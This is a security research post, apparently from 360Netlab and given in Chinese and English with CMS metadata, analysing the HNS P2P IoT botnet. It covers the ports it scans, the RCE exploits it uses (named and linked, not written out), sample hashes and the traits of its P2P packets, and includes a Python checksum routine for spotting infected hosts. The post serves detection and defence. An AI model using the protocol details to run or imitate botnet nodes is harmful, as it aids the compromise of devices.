<!--kg-card-begin: markdown--><p>作者：Rootkiter, yegenshen</p> <p>HNS 僵尸网络（Hide and Seek） 是最初由 BitDefender 于今年 1月 <a href="https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/">报告</a> 的一个IoT僵尸网络。在那份报告中研究人员指出，HNS 会利用CVE-2016-10401、其他漏洞以及Telnet弱口令投入恶意代码，有执行任意指令和盗取用户信息的恶意行为，传播方式类似蠕虫，感染规模在1月23日至1月24期间快速增长到超过32k。并且，HNS内部通过P2P 机制通信，这是我们所知继 hajime之后第二个利用P2P通信的IoT僵尸网络。</p> <p>P2P类的僵尸网络很难被根除，HNS 僵尸网络也是如此。在过去的几个月中 HNS 僵尸网络一直在持续更新，我们看到其更新活动包括：</p> <ul> <li>增加了对 AVTECH全部设备（网络摄像头、网络录像设备）、CISCO Linksys路由器、JAWS/1.0 Web服务器、Apache CouchDB、OrientDB的漏洞利用；加上原始报告中提到的2种，目前HNS已经支持7种漏洞利用方式；</li> <li>内置的P2P节点地址增加到了171 条；</li> <li>另外，我们观察到HNS 僵尸网络增加了 cpuminer 挖矿程序的下载，但是尚未观察到其正常运行。结合HNS在针对couchDB和OrientDB，给人感觉 HNS 僵尸网络的作者正在工作，以谋求通过挖矿获利。</li> </ul> <p>特别值得一提的是，随着失陷的 OrientDB 和 CouchDB 数据库服务器加入其僵尸军团，HNS已经不再仅仅是 IoT 僵尸网络，而是一个跨平台的僵尸网络了。</p> <h4 id="">核心样本</h4> <p>我们分析了以下样本：</p> <pre><code>c1816d141321276cd4621abcd280ee40 #hns x86 0770ff1a6e90eb5d083c16452e45abd5 #hns arm 30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner </code></pre> <h4 id="">网络扫描和漏洞利用</h4> <p>HNS 僵尸网络通过网络扫描寻找潜在受害者。HNS在扫描过程中借鉴了Mirai的扫描机制，也共享了mirai僵尸网络的一些扫描特点。</p> <p>扫描的目标端口包括：固定的 80/8080/2480/5984/23，以及随机端口。</p> <p><img src="__GHOST_URL__/content/images/2018/07/scanning-ports.png" alt="" loading="lazy"></p> <p>这些端口上常见运行的服务是：</p> <pre><code>23 Telnet 80 HTTP Web Service 2480 OrientDB 5984 CouchDB 8080 HTTP Web Service RandomPort NA </code></pre> <p>在上述端口上，HNS会尝试利用下面的漏洞利用将其自身投入。其中 1 和 2 是最初BitDefender报告中提及的，其它的利用均为HNS后续增加：</p> <ol> <li><a href="https://sekurak.pl/tp-link-httptftp-backdoor/">TPLink-Routers RCE</a></li> <li><a href="https://www.exploit-db.com/exploits/43055/">Netgear RCE</a></li> <li><strong>新增</strong>：<a href="https://www.exploit-db.com/exploits/40500/">AVTECH RCE</a></li> <li><strong>新增</strong>：<a href="https://vuldb.com/?id.12362">CISCO Linksys Router RCE</a></li> <li><strong>新增</strong>：<a href="https://www.pentestpartners.com/security-blog/pwning-cctv-cameras/">JAW/1.0 RCE</a></li> <li><strong>新增</strong>：<a href="https://www.exploit-db.com/exploits/42965/">OrientDB RCE</a></li> <li><strong>新增</strong>：<a href="https://www.exploit-db.com/exploits/44913/">CouchDB RCE</a></li> </ol> <h4 id="171p2p">171个内置的P2P节点</h4> <p>作为P2P 型僵尸网络，HNS获取通信对端节点的方式下面 3 种。其中第 2、3 两项在 bitdefender 的文章中已经有介绍。</p> <ol> <li>样本内置：内置了 171 个对端节点信息；</li> <li>运行参数传递；</li> <li>询问对端节点；</li> </ol> <p>上述 171个节点，在 HNS 的上线和交互过程中均会参与。</p> <h6 id="">上线过程</h6> <p>HNS 无参数启动后会出现大量的 UDP 上线请求包。观察这些请求包的目标IP地址可知，大部分是随机生成的，少量是由内置节点列表决定的。样本中内置节点的部分信息如下图所示，全部171个节点的信息见 IoC 部分。</p> <p><img src="__GHOST_URL__/content/images/2018/07/hard-coded-peer.png" alt="" loading="lazy"></p> <h6 id="">交互过程</h6> <p>HNS 在节点之间的交互过程中有以下特征：</p> <ul> <li>HNS 的上线包是一个长度和内容均随机的 UDP 请求包，这个包特征并不明显。明显的点在<br> 于上游节点的回包是一个长度为 2 且首字节为大写字母’O’的回包。另外回包的第二字节，其实是从请求包计算出的一个校验值，所以该方法也可用于 HNS 感染判定。详细校验算法见附录。</li> <li>HNS 在加入 P2P 网络后，需要较频繁的进行地址同步操作，以确保不会出现节点走失的情况。<br> 这个同步操作具有较强的网络特征。首先，下游节点会向上游节点发送一个长度 1 内容为“~”的请求包，随后上游节点会回复一个长度为 8 首字母为“^”的回包。</li> <li>HNS 在指令获取及文件获取过程中，会出现大量的交互数据包。请求包长度 69 首字母“y”，<br> 回复包（满载拆包分发状态）长度 261 首字母“Y”。</li> </ul> <p>服务请求包的回包算法如下，基于 python 2.7</p> <p>当发送如下请求包时：</p> <pre><code>data_pointer = &quot;5b 02 d7 ff 52 02 61 e9 a5 7e 0b 07 c5 43 5b&quot;.replace(&quot;&quot;,&quot;&quot;).decode('hex') </code></pre> <p>上游节点的回包应为：</p> <pre><code>ack=&quot;4f b6&quot;.replace(&quot; &quot;,&quot;&quot;).decode('hex') </code></pre> <p>其中 chr(0x4f) 固定，chr(0xb6)的计算方法如下:</p> <pre><code>def calc_crc(data_pointer): data_len_1 = len(data_pointer)-1 tmp = 88 for i in range(0,data_len_1): tmp += ord(data_pointer[i]) tmp = tmp &amp;0xff tmp2 = tmp^0x3d print hex(tmp2),hex(ord(data_pointer[data_len_1])) if(tmp2 == ord(data_pointer[data_len_1])): return (2*tmp2&amp;0xfe) return -1; </code></pre> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360netlab">twitter</a> 或者在微信公众号 360Netlab 上联系我们。</p> <h4 id="ioc">IoC</h4> <p>Malware Sample md5</p> <pre><code>c1816d141321276cd4621abcd280ee40 #hns x86 0770ff1a6e90eb5d083c16452e45abd5 #hns arm 30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner </code></pre> <p>All 171 hard coded P2P peer address list is <a href="__GHOST_URL__/file/hns_hardcoded_peer_list.txt">here</a>.</p> <!--kg-card-end: markdown-->

作者：Rootkiter, yegenshen HNS 僵尸网络（Hide and Seek） 是最初由 BitDefender 于今年 1月 报告 的一个IoT僵尸网络。在那份报告中研究人员指出，HNS 会利用CVE-2016-10401、其他漏洞以及Telnet弱口令投入恶意代码，有执行任意指令和盗取用户信息的恶意行为，传播方式类似蠕虫，感染规模在1月23日至1月24期间快速增长到超过32k。并且，HNS内部通过P2P 机制通信，这是我们所知继 hajime之后第二个利用P2P通信的IoT僵尸网络。 P2P类的僵尸网络很难被根除，HNS 僵尸网络也是如此。在过去的几个月中 HNS 僵尸网络一直在持续更新，我们看到其更新活动包括： * 增加了对 AVTECH全部设备（网络摄像头、网络录像设备）、CISCO Linksys路由器、JAWS/1.0 Web服务器、Apache CouchDB、OrientDB的漏洞利用；加上原始报告中提到的2种，目前HNS已经支持7种漏洞利用方式； * 内置的P2P节点地址增加到了171 条； * 另外，我们观察到HNS 僵尸网络增加了 cpuminer 挖矿程序的下载，但是尚未观察到其正常运行。结合HNS在针对couchDB和OrientDB，给人感觉 HNS 僵尸网络的作者正在工作，以谋求通过挖矿获利。 特别值得一提的是，随着失陷的 OrientDB 和 CouchDB 数据库服务器加入其僵尸军团，HNS已经不再仅仅是 IoT 僵尸网络，而是一个跨平台的僵尸网络了。 核心样本 我们分析了以下样本： c1816d141321276cd4621abcd280ee40 #hns x86 0770ff1a6e90eb5d083c16452e45abd5 #hns arm 30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner 网络扫描和漏洞利用 HNS 僵尸网络通过网络扫描寻找潜在受害者。HNS在扫描过程中借鉴了Mirai的扫描机制，也共享了mirai僵尸网络的一些扫描特点。 扫描的目标端口包括：固定的 80/8080/2480/5984/23，以及随机端口。 这些端口上常见运行的服务是： 23 Telnet 80 HTTP Web Service 2480 OrientDB 5984 CouchDB 8080 HTTP Web Service RandomPort NA 在上述端口上，HNS会尝试利用下面的漏洞利用将其自身投入。其中 1 和 2 是最初BitDefender报告中提及的，其它的利用均为HNS后续增加： 1. TPLink-Routers RCE 2. Netgear RCE 3. 新增：AVTECH RCE 4. 新增：CISCO Linksys Router RCE 5. 新增：JAW/1.0 RCE 6. 新增：OrientDB RCE 7. 新增：CouchDB RCE 171个内置的P2P节点 作为P2P 型僵尸网络，HNS获取通信对端节点的方式下面 3 种。其中第 2、3 两项在 bitdefender 的文章中已经有介绍。 1. 样本内置：内置了 171 个对端节点信息； 2. 运行参数传递； 3. 询问对端节点； 上述 171个节点，在 HNS 的上线和交互过程中均会参与。 上线过程 HNS 无参数启动后会出现大量的 UDP 上线请求包。观察这些请求包的目标IP地址可知，大部分是随机生成的，少量是由内置节点列表决定的。样本中内置节点的部分信息如下图所示，全部171个节点的信息见 IoC 部分。 交互过程 HNS 在节点之间的交互过程中有以下特征： * HNS 的上线包是一个长度和内容均随机的 UDP 请求包，这个包特征并不明显。明显的点在 于上游节点的回包是一个长度为 2 且首字节为大写字母’O’的回包。另外回包的第二字节，其实是从请求包计算出的一个校验值，所以该方法也可用于 HNS 感染判定。详细校验算法见附录。 * HNS 在加入 P2P 网络后，需要较频繁的进行地址同步操作，以确保不会出现节点走失的情况。 这个同步操作具有较强的网络特征。首先，下游节点会向上游节点发送一个长度 1 内容为“~”的请求包，随后上游节点会回复一个长度为 8 首字母为“^”的回包。 * HNS 在指令获取及文件获取过程中，会出现大量的交互数据包。请求包长度 69 首字母“y”， 回复包（满载拆包分发状态）长度 261 首字母“Y”。 服务请求包的回包算法如下，基于 python 2.7 当发送如下请求包时： data_pointer = "5b 02 d7 ff 52 02 61 e9 a5 7e 0b 07 c5 43 5b".replace("","").decode('hex') 上游节点的回包应为： ack="4f b6".replace(" ","").decode('hex') 其中 chr(0x4f) 固定，chr(0xb6)的计算方法如下: def calc_crc(data_pointer): data_len_1 = len(data_pointer)-1 tmp = 88 for i in range(0,data_len_1): tmp += ord(data_pointer[i]) tmp = tmp &0xff tmp2 = tmp^0x3d print hex(tmp2),hex(ord(data_pointer[data_len_1])) if(tmp2 == ord(data_pointer[data_len_1])): return (2*tmp2&0xfe) return -1; 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。 IoC Malware Sample md5 c1816d141321276cd4621abcd280ee40 #hns x86 0770ff1a6e90eb5d083c16452e45abd5 #hns arm 30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner All 171 hard coded P2P peer address list is here.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"作者：Rootkiter, yegenshen\n\nHNS 僵尸网络（Hide and Seek） 是最初由 BitDefender 于今年 1月 [报告](https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/) 的一个IoT僵尸网络。在那份报告中研究人员指出，HNS 会利用CVE-2016-10401、其他漏洞以及Telnet弱口令投入恶意代码，有执行任意指令和盗取用户信息的恶意行为，传播方式类似蠕虫，感染规模在1月23日至1月24期间快速增长到超过32k。并且，HNS内部通过P2P 机制通信，这是我们所知继 hajime之后第二个利用P2P通信的IoT僵尸网络。\n\nP2P类的僵尸网络很难被根除，HNS 僵尸网络也是如此。在过去的几个月中 HNS 僵尸网络一直在持续更新，我们看到其更新活动包括：\n\n - 增加了对 AVTECH全部设备（网络摄像头、网络录像设备）、CISCO Linksys路由器、JAWS/1.0 Web服务器、Apache CouchDB、OrientDB的漏洞利用；加上原始报告中提到的2种，目前HNS已经支持7种漏洞利用方式；\n - 内置的P2P节点地址增加到了171 条；\n - 另外，我们观察到HNS 僵尸网络增加了 cpuminer 挖矿程序的下载，但是尚未观察到其正常运行。结合HNS在针对couchDB和OrientDB，给人感觉 HNS 僵尸网络的作者正在工作，以谋求通过挖矿获利。\n\n特别值得一提的是，随着失陷的 OrientDB 和 CouchDB 数据库服务器加入其僵尸军团，HNS已经不再仅仅是 IoT 僵尸网络，而是一个跨平台的僵尸网络了。\n\n#### 核心样本\n我们分析了以下样本：\n\n```\nc1816d141321276cd4621abcd280ee40 #hns x86\n0770ff1a6e90eb5d083c16452e45abd5 #hns arm\n30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner\n```\n\n#### 网络扫描和漏洞利用\n\nHNS 僵尸网络通过网络扫描寻找潜在受害者。HNS在扫描过程中借鉴了Mirai的扫描机制，也共享了mirai僵尸网络的一些扫描特点。\n\n扫描的目标端口包括：固定的 80/8080/2480/5984/23，以及随机端口。\n\n\n\n这些端口上常见运行的服务是：\n```\n23 Telnet\n80 HTTP Web Service\n2480 OrientDB\n5984 CouchDB\n8080 HTTP Web Service\nRandomPort NA\n```\n\n在上述端口上，HNS会尝试利用下面的漏洞利用将其自身投入。其中 1 和 2 是最初BitDefender报告中提及的，其它的利用均为HNS后续增加：\n\n1. [TPLink-Routers RCE](https://sekurak.pl/tp-link-httptftp-backdoor/)\n2. [Netgear RCE](https://www.exploit-db.com/exploits/43055/)\n3. **新增**：[AVTECH RCE](https://www.exploit-db.com/exploits/40500/)\n4. **新增**：[CISCO Linksys Router RCE](https://vuldb.com/?id.12362)\n5. **新增**：[JAW/1.0 RCE](https://www.pentestpartners.com/security-blog/pwning-cctv-cameras/)\n6. **新增**：[OrientDB RCE](https://www.exploit-db.com/exploits/42965/)\n7. **新增**：[CouchDB RCE](https://www.exploit-db.com/exploits/44913/)\n\n#### 171个内置的P2P节点\n\n作为P2P 型僵尸网络，HNS获取通信对端节点的方式下面 3 种。其中第 2、3 两项在 bitdefender 的文章中已经有介绍。\n\n1. 样本内置：内置了 171 个对端节点信息；\n2. 运行参数传递；\n3. 询问对端节点；\n\n上述 171个节点，在 HNS 的上线和交互过程中均会参与。\n\n###### 上线过程\n\nHNS 无参数启动后会出现大量的 UDP 上线请求包。观察这些请求包的目标IP地址可知，大部分是随机生成的，少量是由内置节点列表决定的。样本中内置节点的部分信息如下图所示，全部171个节点的信息见 IoC 部分。\n\n\n\n###### 交互过程\n\nHNS 在节点之间的交互过程中有以下特征：\n\n - HNS 的上线包是一个长度和内容均随机的 UDP 请求包，这个包特征并不明显。明显的点在\n于上游节点的回包是一个长度为 2 且首字节为大写字母’O’的回包。另外回包的第二字节，其实是从请求包计算出的一个校验值，所以该方法也可用于 HNS 感染判定。详细校验算法见附录。\n - HNS 在加入 P2P 网络后，需要较频繁的进行地址同步操作，以确保不会出现节点走失的情况。\n这个同步操作具有较强的网络特征。首先，下游节点会向上游节点发送一个长度 1 内容为“~”的请求包，随后上游节点会回复一个长度为 8 首字母为“^”的回包。\n - HNS 在指令获取及文件获取过程中，会出现大量的交互数据包。请求包长度 69 首字母“y”，\n回复包（满载拆包分发状态）长度 261 首字母“Y”。\n\n\n服务请求包的回包算法如下，基于 python 2.7\n\n当发送如下请求包时：\n```\ndata_pointer = \"5b 02 d7 ff 52 02 61 e9 a5 7e 0b 07 c5 43 5b\".replace(\"\",\"\").decode('hex')\n```\n\n上游节点的回包应为：\n```\nack=\"4f b6\".replace(\" \",\"\").decode('hex')\n```\n其中 chr(0x4f) 固定，chr(0xb6)的计算方法如下:\n```\ndef calc_crc(data_pointer):\n data_len_1 = len(data_pointer)-1\n tmp = 88\n for i in range(0,data_len_1):\n tmp += ord(data_pointer[i])\n tmp = tmp &0xff\n tmp2 = tmp^0x3d\n print hex(tmp2),hex(ord(data_pointer[data_len_1]))\n if(tmp2 == ord(data_pointer[data_len_1])):\n return (2*tmp2&0xfe)\n return -1;\n```\n\n####联系我们\n感兴趣的读者，可以在 [twitter](https://twitter.com/360netlab) 或者在微信公众号 360Netlab 上联系我们。\n\n#### IoC\nMalware Sample md5\n```\nc1816d141321276cd4621abcd280ee40 #hns x86\n0770ff1a6e90eb5d083c16452e45abd5 #hns arm\n30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner\n```\n\nAll 171 hard coded P2P peer address list is [here](__GHOST_URL__/file/hns_hardcoded_peer_list.txt).\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

131

post

2018-07-06T10:55:45.000Z

63873b9a8b1c1e0007f52f2e

hns-botnet-recent-activities-en

2018-10-06T09:13:30.000Z

public

published

2018-07-06T11:53:13.000Z

HNS Botnet Recent Activities

<!--kg-card-begin: markdown--><p>Author: Rootkiter, yegenshen</p> <p>HNS is an IoT botnet (Hide and Seek) originally discovered by BitDefender in January this year. In that <a href="https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/">report</a>, the researchers pointed out that HNS used CVE-2016-10401, and other vulnerabilities to propagate malicious code and stole user information. The HNS communicates through the P2P mechanism, which is the second IoT botnet that we know uses P2P communication after Hajime.</p> <p>P2P-like botnets are hard to take down, and the HNS botnet has been continuously updated over the past few months, some major updates we see:</p> <ul> <li>Added exploits for AVTECH devices (webcam, webcam), CISCO Linksys router, JAWS/1.0 web server, Apache CouchDB, OrientDB; with the two devices mentioned in the original report, HNS currently supports 7 exploiting methods all together</li> <li>Hard-coded P2P node addresses have been increased to 171;</li> <li>In addition, we observed that the HNS botnet adds a cpuminer mining program, it is not functioning properly yet.</li> <li>In particular, with the added support of OrientDB and CouchDB database servers, HNS is no longer just an IoT botnet, but a cross-platform botnet now.</li> </ul> <h4 id="malwaresamples">Malware Samples</h4> <p>We analyzed following samples:</p> <pre><code>c1816d141321276cd4621abcd280ee40 #hns x86 0770ff1a6e90eb5d083c16452e45abd5 #hns arm 30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner </code></pre> <h4 id="networkscanningandexploits">Network Scanning and Exploits</h4> <p>HNS botnet looks for potential victims by initiating a network scanning. In this scanning, HNS borrows code from mirai botnet, and shares the same characters.</p> <p>The scanning target ports include fixed TCP port 80/8080/2480/5984/23 and other random ports.</p> <p><img src="__GHOST_URL__/content/images/2018/07/scanning-ports.png" alt="" loading="lazy"></p> <p>These ports and their corresponding well known services are:</p> <pre><code>23 Telnet 80 HTTP Web Service 2480 OrientDB 5984 CouchDB 8080 HTTP Web Service Random-Port NA </code></pre> <p>HNS will try to implant itself on these ports, utilizing the following exploits. In these exploits, 1 and 2 are listed in bitdefender original report. The other 5 are newly integrated.</p> <ol> <li><a href="https://sekurak.pl/tp-link-httptftp-backdoor/">TPLink-Routers RCE</a></li> <li><a href="https://www.exploit-db.com/exploits/43055/">Netgear RCE</a></li> <li>new: <a href="https://www.exploit-db.com/exploits/40500/">AVTECH RCE</a></li> <li>new: <a href="https://vuldb.com/?id.12362">CISCO Linksys Router RCE</a></li> <li>new: <a href="https://www.pentestpartners.com/security-blog/pwning-cctv-cameras/">JAW/1.0 RCE</a></li> <li>new: <a href="https://www.exploit-db.com/exploits/42965/">OrientDB RCE</a></li> <li>new: <a href="https://www.exploit-db.com/exploits/44913/">CouchDB RCE</a></li> </ol> <h4 id="171hardcodedp2ppeer">171 Hard-coded P2P peer</h4> <p>HNS node contacts to other P2P peers with the following 3 methods, in which, 2 and 3 are listed in bitdefender original report.</p> <ol> <li>From a hard-coded built-in list of 171 peer addresses</li> <li>From the command-line args</li> <li>From the other P2P peers</li> </ol> <p>These 171 peers will interact during the check-in and following interaction process</p> <h6 id="thecheckinprocess">The Check-in Process</h6> <p>When started with no command-line args, HNS node will send lots of UPD check-in packets. IP addresses of these packets are randomized, while some others are set based on the build-in list. Part of the list is shown as follows, with a full list can be seen in the IoC section.</p> <p><img src="__GHOST_URL__/content/images/2018/07/hard-coded-peer.png" alt="" loading="lazy"></p> <h6 id="theinteractionprocess">The Interaction Process</h6> <p>HNS has the following characteristics when doing P2P interaction between its nodes:</p> <ul> <li>The check-in packet is a UDP packet with random length and content. So no significant feature here. The stands out is in the second packet from the upstream nodes, which has a length of 2 and the first byte is the uppercase letter ‘O’. In addition, the second byte of the return packet is actually a checksum value calculated from the request packet, so as can also be used to ID HNS communications. The detailed verification algorithm is shown as below.</li> <li>After joining into the P2P network, HNS needs to perform address synchronization constantly to ensure nodes connections. This synchronous operation has strong network characteristics. First, the downstream node sends a request packet with the length 1 with content &quot;~&quot; to the upstream node, and then the upstream node replies with a packet of length 8 with the initial letter &quot;^&quot;.</li> <li>HNS nodes interact frequently and have lots of data exchange. The request packet length is 69 with initial letter &quot;y&quot;, and the reply packet has a length of 261 with initial letter uppercase &quot;Y&quot;.</li> </ul> <p>The algorithm for service repond packets, based on python 2.7</p> <p>When sending the following request packet:</p> <pre><code>data_pointer = &quot;5b 02 d7 ff 52 02 61 e9 a5 7e 0b 07 c5 43 5b&quot;.replace(&quot;&quot;,&quot;&quot;).decode('hex') </code></pre> <p>The expected response packet from the upstream node would be:</p> <pre><code>ack=&quot;4f b6&quot;.replace(&quot; &quot;,&quot;&quot;).decode('hex') </code></pre> <p>Where chr(0x4f) is fixed and chr(0xb6) is calculated as follows:</p> <pre><code>def calc_crc(data_pointer): data_len_1 = len(data_pointer)-1 tmp = 88 for i in range(0,data_len_1): tmp += ord(data_pointer[i]) tmp = tmp &amp;0xff tmp2 = tmp^0x3d print hex(tmp2),hex(ord(data_pointer[data_len_1])) if(tmp2 == ord(data_pointer[data_len_1])): return (2*tmp2&amp;0xfe) return -1; </code></pre> <h4 id="contactus">Contact Us</h4> <p>If readers have new discoveries, feel free to contact us on <a href="https://twitter.com/360netlab">twitter</a>.</p> <h4 id="ioc">IoC</h4> <p>Malware Sample md5</p> <pre><code>c1816d141321276cd4621abcd280ee40 #hns x86 0770ff1a6e90eb5d083c16452e45abd5 #hns arm 30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner </code></pre> <p>All 171 hard coded P2P peer address list is <a href="__GHOST_URL__/file/hns_hardcoded_peer_list.txt">here</a>.</p> <!--kg-card-end: markdown-->

Author: Rootkiter, yegenshen HNS is an IoT botnet (Hide and Seek) originally discovered by BitDefender in January this year. In that report, the researchers pointed out that HNS used CVE-2016-10401, and other vulnerabilities to propagate malicious code and stole user information. The HNS communicates through the P2P mechanism, which is the second IoT botnet that we know uses P2P communication after Hajime. P2P-like botnets are hard to take down, and the HNS botnet has been continuously updated over the past few months, some major updates we see: * Added exploits for AVTECH devices (webcam, webcam), CISCO Linksys router, JAWS/1.0 web server, Apache CouchDB, OrientDB; with the two devices mentioned in the original report, HNS currently supports 7 exploiting methods all together * Hard-coded P2P node addresses have been increased to 171; * In addition, we observed that the HNS botnet adds a cpuminer mining program, it is not functioning properly yet. * In particular, with the added support of OrientDB and CouchDB database servers, HNS is no longer just an IoT botnet, but a cross-platform botnet now. Malware Samples We analyzed following samples: c1816d141321276cd4621abcd280ee40 #hns x86 0770ff1a6e90eb5d083c16452e45abd5 #hns arm 30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner Network Scanning and Exploits HNS botnet looks for potential victims by initiating a network scanning. In this scanning, HNS borrows code from mirai botnet, and shares the same characters. The scanning target ports include fixed TCP port 80/8080/2480/5984/23 and other random ports. These ports and their corresponding well known services are: 23 Telnet 80 HTTP Web Service 2480 OrientDB 5984 CouchDB 8080 HTTP Web Service Random-Port NA HNS will try to implant itself on these ports, utilizing the following exploits. In these exploits, 1 and 2 are listed in bitdefender original report. The other 5 are newly integrated. 1. TPLink-Routers RCE 2. Netgear RCE 3. new: AVTECH RCE 4. new: CISCO Linksys Router RCE 5. new: JAW/1.0 RCE 6. new: OrientDB RCE 7. new: CouchDB RCE 171 Hard-coded P2P peer HNS node contacts to other P2P peers with the following 3 methods, in which, 2 and 3 are listed in bitdefender original report. 1. From a hard-coded built-in list of 171 peer addresses 2. From the command-line args 3. From the other P2P peers These 171 peers will interact during the check-in and following interaction process The Check-in Process When started with no command-line args, HNS node will send lots of UPD check-in packets. IP addresses of these packets are randomized, while some others are set based on the build-in list. Part of the list is shown as follows, with a full list can be seen in the IoC section. The Interaction Process HNS has the following characteristics when doing P2P interaction between its nodes: * The check-in packet is a UDP packet with random length and content. So no significant feature here. The stands out is in the second packet from the upstream nodes, which has a length of 2 and the first byte is the uppercase letter ‘O’. In addition, the second byte of the return packet is actually a checksum value calculated from the request packet, so as can also be used to ID HNS communications. The detailed verification algorithm is shown as below. * After joining into the P2P network, HNS needs to perform address synchronization constantly to ensure nodes connections. This synchronous operation has strong network characteristics. First, the downstream node sends a request packet with the length 1 with content "~" to the upstream node, and then the upstream node replies with a packet of length 8 with the initial letter "^". * HNS nodes interact frequently and have lots of data exchange. The request packet length is 69 with initial letter "y", and the reply packet has a length of 261 with initial letter uppercase "Y". The algorithm for service repond packets, based on python 2.7 When sending the following request packet: data_pointer = "5b 02 d7 ff 52 02 61 e9 a5 7e 0b 07 c5 43 5b".replace("","").decode('hex') The expected response packet from the upstream node would be: ack="4f b6".replace(" ","").decode('hex') Where chr(0x4f) is fixed and chr(0xb6) is calculated as follows: def calc_crc(data_pointer): data_len_1 = len(data_pointer)-1 tmp = 88 for i in range(0,data_len_1): tmp += ord(data_pointer[i]) tmp = tmp &0xff tmp2 = tmp^0x3d print hex(tmp2),hex(ord(data_pointer[data_len_1])) if(tmp2 == ord(data_pointer[data_len_1])): return (2*tmp2&0xfe) return -1; Contact Us If readers have new discoveries, feel free to contact us on twitter. IoC Malware Sample md5 c1816d141321276cd4621abcd280ee40 #hns x86 0770ff1a6e90eb5d083c16452e45abd5 #hns arm 30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner All 171 hard coded P2P peer address list is here.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Author: Rootkiter, yegenshen\n\nHNS is an IoT botnet (Hide and Seek) originally discovered by BitDefender in January this year. In that [report](https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/), the researchers pointed out that HNS used CVE-2016-10401, and other vulnerabilities to propagate malicious code and stole user information. The HNS communicates through the P2P mechanism, which is the second IoT botnet that we know uses P2P communication after Hajime.\n\nP2P-like botnets are hard to take down, and the HNS botnet has been continuously updated over the past few months, some major updates we see:\n\n- Added exploits for AVTECH devices (webcam, webcam), CISCO Linksys router, JAWS/1.0 web server, Apache CouchDB, OrientDB; with the two devices mentioned in the original report, HNS currently supports 7 exploiting methods all together\n- Hard-coded P2P node addresses have been increased to 171;\n- In addition, we observed that the HNS botnet adds a cpuminer mining program, it is not functioning properly yet.\n- In particular, with the added support of OrientDB and CouchDB database servers, HNS is no longer just an IoT botnet, but a cross-platform botnet now.\n\n#### Malware Samples\nWe analyzed following samples:\n\n```\nc1816d141321276cd4621abcd280ee40 #hns x86\n0770ff1a6e90eb5d083c16452e45abd5 #hns arm\n30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner\n```\n\n#### Network Scanning and Exploits\n\nHNS botnet looks for potential victims by initiating a network scanning. In this scanning, HNS borrows code from mirai botnet, and shares the same characters.\n\nThe scanning target ports include fixed TCP port 80/8080/2480/5984/23 and other random ports.\n\n\n\nThese ports and their corresponding well known services are:\n```\n23 Telnet\n80 HTTP Web Service\n2480 OrientDB\n5984 CouchDB\n8080 HTTP Web Service\nRandom-Port NA\n```\n\nHNS will try to implant itself on these ports, utilizing the following exploits. In these exploits, 1 and 2 are listed in bitdefender original report. The other 5 are newly integrated.\n\n1. [TPLink-Routers RCE](https://sekurak.pl/tp-link-httptftp-backdoor/)\n2. [Netgear RCE](https://www.exploit-db.com/exploits/43055/)\n3. new: [AVTECH RCE](https://www.exploit-db.com/exploits/40500/)\n4. new: [CISCO Linksys Router RCE](https://vuldb.com/?id.12362)\n5. new: [JAW/1.0 RCE](https://www.pentestpartners.com/security-blog/pwning-cctv-cameras/)\n6. new: [OrientDB RCE](https://www.exploit-db.com/exploits/42965/)\n7. new: [CouchDB RCE](https://www.exploit-db.com/exploits/44913/)\n\n#### 171 Hard-coded P2P peer\n\nHNS node contacts to other P2P peers with the following 3 methods, in which, 2 and 3 are listed in bitdefender original report.\n\n1. From a hard-coded built-in list of 171 peer addresses\n2. From the command-line args\n3. From the other P2P peers\n\nThese 171 peers will interact during the check-in and following interaction process\n\n###### The Check-in Process\n\nWhen started with no command-line args, HNS node will send lots of UPD check-in packets. IP addresses of these packets are randomized, while some others are set based on the build-in list. Part of the list is shown as follows, with a full list can be seen in the IoC section.\n\n\n\n###### The Interaction Process\n\nHNS has the following characteristics when doing P2P interaction between its nodes:\n\n - The check-in packet is a UDP packet with random length and content. So no significant feature here. The stands out is in the second packet from the upstream nodes, which has a length of 2 and the first byte is the uppercase letter ‘O’. In addition, the second byte of the return packet is actually a checksum value calculated from the request packet, so as can also be used to ID HNS communications. The detailed verification algorithm is shown as below.\n - After joining into the P2P network, HNS needs to perform address synchronization constantly to ensure nodes connections. This synchronous operation has strong network characteristics. First, the downstream node sends a request packet with the length 1 with content \"~\" to the upstream node, and then the upstream node replies with a packet of length 8 with the initial letter \"^\".\n - HNS nodes interact frequently and have lots of data exchange. The request packet length is 69 with initial letter \"y\", and the reply packet has a length of 261 with initial letter uppercase \"Y\".\n\nThe algorithm for service repond packets, based on python 2.7\n\nWhen sending the following request packet:\n```\ndata_pointer = \"5b 02 d7 ff 52 02 61 e9 a5 7e 0b 07 c5 43 5b\".replace(\"\",\"\").decode('hex')\n```\n\nThe expected response packet from the upstream node would be:\n```\nack=\"4f b6\".replace(\" \",\"\").decode('hex')\n```\n\nWhere chr(0x4f) is fixed and chr(0xb6) is calculated as follows:\n```\ndef calc_crc(data_pointer):\n data_len_1 = len(data_pointer)-1\n tmp = 88\n for i in range(0,data_len_1):\n tmp += ord(data_pointer[i])\n tmp = tmp &0xff\n tmp2 = tmp^0x3d\n print hex(tmp2),hex(ord(data_pointer[data_len_1]))\n if(tmp2 == 